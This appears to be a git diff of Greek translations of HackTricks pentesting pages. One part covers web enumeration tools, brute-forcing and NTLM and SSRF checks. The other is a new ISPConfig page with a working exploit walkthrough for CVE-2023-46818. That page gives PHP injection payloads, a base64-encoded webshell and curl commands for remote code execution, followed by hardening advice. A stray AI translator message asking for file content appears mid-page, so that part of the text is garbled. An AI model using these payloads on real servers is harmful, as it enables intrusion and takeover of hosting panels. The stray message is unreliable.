- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους). - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes. - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, paths, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό. - [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει. - [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force directories and files ### Brute Force directories and files
Ξεκινήστε **brute-forcing** από τον ριζικό φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **φακέλους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους φακέλους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και προσθέτοντας στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των βρεθέντων φακέλων).\ Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Εργαλεία: Tools:
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνεται στο Kali, **παλιό** (και **αργό**) αλλά λειτουργικό. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργό σε σύγκριση με τις άλλες επιλογές. - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά αλλά** επιτρέπει αναδρομική αναζήτηση. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά, **δεν έχει** **αναδρομική** αναζήτηση. - [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.** - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs. - [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφόρων σελίδων. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports). - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί το wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν. - [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Συνιστώμενα λεξικά:** **Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,81 +268,83 @@ sslyze --regular <ip:port>
- _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._ _Σημείωση ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνεται Brute-Force σε αυτόν._
### Τι να ελέγξετε σε κάθε αρχείο που βρέθηκε ### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις. - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των executable αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονομασίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο. - **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυμμένες παραμέτρους. Αν μπορείτε, προσπαθήστε να αναζητήσετε** κρυμμένες παραμέτρους σε κάθε executable web αρχείο.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Σχόλια:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **credentials** ή **κρυφή λειτουργικότητα**. - **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **credentials** ή **hidden functionality**.
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας. - If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - **API keys**: Αν βρείτε κάποιο API key υπάρχει οδηγός που δείχνει πώς να χρησιμοποιηθούν API keys από διάφορες πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key. - Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποια apis μπορεί να προσπελάσει το key.
- **S3 Buckets**: Κατά τη διάρκεια του spidering, ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html). - **S3 Buckets**: Κατά το spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**check** the **permissions** of the bucket](buckets/index.html).
### Ειδικές ανακαλύψεις ### Special findings
**Κατά** την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**. **While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Ενδιαφέροντα αρχεία** **Interesting files**
- Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία. - Ψάξτε για **links** προς άλλα αρχεία μέσα στα **CSS** αρχεία.
- [Αν βρείτε ένα _**.git**_ αρχείο, μπορεί να εξαχθεί κάποια πληροφορία](git.md). - [If you find a _**.git**_ file some information can be extracted](git.md)
- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν. - Αν βρείτε ένα _**.env**_ μπορούν να βρεθούν πληροφορίες όπως api keys, dbs passwords και άλλες πληροφορίες.
- Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά. - Αν βρείτε **API endpoints** θα [should also test them](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα μοιάζουν" με αυτά.
- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** - **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **monitor** κάθε JS αρχείο που βρέθηκε, αφού σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδείξει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. - Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex). - Σε αρκετές περιπτώσεις, θα χρειαστεί να **understand the regular expressions** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία. - Μπορείτε επίσης να **monitor** τα αρχεία όπου ανιχνεύθηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδεικνύει μια νέα πιθανή ευάλωτη λειτουργικότητα.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}} {{#ref}}
403-and-401-bypasses.md 403-and-401-bypasses.md
{{#endref}} {{#endref}}
**502 Proxy Error** **502 Proxy Error**
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **πρόσβαση** _**google.com**_ **και θα έχετε βρει μια** SSRF. Αν κάποια σελίδα **απαντάει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** θα προσπαθήσει να **access** _**google.com**_ **και θα έχετε βρει ένα** SSRF.
**NTLM Authentication - Info disclosure** **NTLM Authentication - Info disclosure**
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\ **Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που λειτουργεί η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (IIS version, Windows version...) μέσα στο header "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". Μπορείτε να **automate** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)** **HTTP Redirect (CTF)**
Είναι δυνατόν να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** εκεί. Είναι πιθανό να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί.
### Έλεγχος ευπαθειών Web ### Web Vulnerabilities Checking
Τώρα που έχει γίνει μια πλήρης enumeration της web εφαρμογής, είναι ώρα να ελεγχθούν πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε την checklist εδώ:
Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
{{#ref}} {{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md ../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}} {{#endref}}
Βρείτε περισσότερες πληροφορίες σχετικά με τις ευπάθειες web στο: Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Παρακολούθηση Σελίδων για αλλαγές ### Monitor Pages for changes
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που ενδέχεται να εισάγουν ευπάθειες.
### HackTricks Αυτόματες Εντολές ### HackTricks Automatic Commands
``` ```
Protocol_Name: Web #Protocol Abbreviation if there is one. Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one. Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
ISPConfig είναι ένα open-source hosting control panel. Παλαιότερες εκδόσεις 3.2.x περιλάμβαναν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον super administrator, επέτρεπε arbitrary PHP code injection μέσω μιας παραποιημένης εγγραφής μετάφρασης. Αυτό μπορεί να αποδώσει RCE στο πλαίσιο του web server και, ανάλογα με τον τρόπο εκτέλεσης του PHP, privilege escalation.
Key default paths:
- Το web root συχνά βρίσκεται στο `/var/www/ispconfig` όταν σερβίρεται με `php -S` ή μέσω Apache/nginx.
- Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο σε localhost; χρησιμοποιήστε SSH port-forward εάν χρειάζεται).
Tip: Εάν το panel είναι δεσμευμένο τοπικά (π.χ. `127.0.0.1:8080`), προώθησέ το:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Εισαγωγή PHP κώδικα μέσω του επεξεργαστή γλωσσών (CVE-2023-46818)
- Επηρεασμένο: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Προαπαιτούμενα:
- Σύνδεση ως ο ενσωματωμένος λογαριασμός superadmin `admin` (σύμφωνα με τον προμηθευτή, άλλοι ρόλοι δεν επηρεάζονται)
- Ο επεξεργαστής γλώσσας πρέπει να έχει ενεργοποιηθεί: `admin_allow_langedit=yes` στο `/usr/local/ispconfig/security/security_settings.ini`
- Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε ένα αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο περιβάλλον web
Αναφορές: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Χειροκίνητη ροή εκμετάλλευσης
1) Άνοιγμα/δημιουργία αρχείου γλώσσας για λήψη των CSRF tokens
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και αναλύστε τα πεδία CSRF από την HTML απάντηση (`csrf_id`, `csrf_key`). Παράδειγμα request path: `/admin/language_edit.php`.
2) Εισάγετε PHP μέσω records[] και αποθηκεύστε
Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και ένα κακόβουλο translation record. Ελάχιστες δοκιμές εκτέλεσης εντολών:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Δοκιμή εκτός ζώνης (παρακολούθηση ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Γράψτε αρχεία και τοποθετήστε ένα webshell
Χρησιμοποιήστε `file_put_contents` για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Στη συνέχεια γράψτε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγετε ανεπιθύμητους χαρακτήρες στο σώμα του POST:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
I don't have the file content. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md here and I'll translate the English portions to Greek, preserving all code, tags, links and paths exactly as requested.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Αν το PHP εκτελείται ως root (π.χ. μέσω `php -S 127.0.0.1:8080` ξεκινώντας από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε code execution ως ο χρήστης του web server.
### Python PoC
Ένα έτοιμο προς χρήση exploit αυτοματοποιεί τη διαχείριση των token και την παράδοση του payload:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Παράδειγμα εκτέλεσης:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Σκληροποίηση
- Αναβαθμίστε σε 3.2.11p1 ή νεότερη
- Απενεργοποιήστε τον language editor εκτός αν είναι αυστηρά απαραίτητος:
```
admin_allow_langedit=no
```
- Μην εκτελείτε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server να μειώνουν τα προνόμια
- Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό `admin`
## References
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
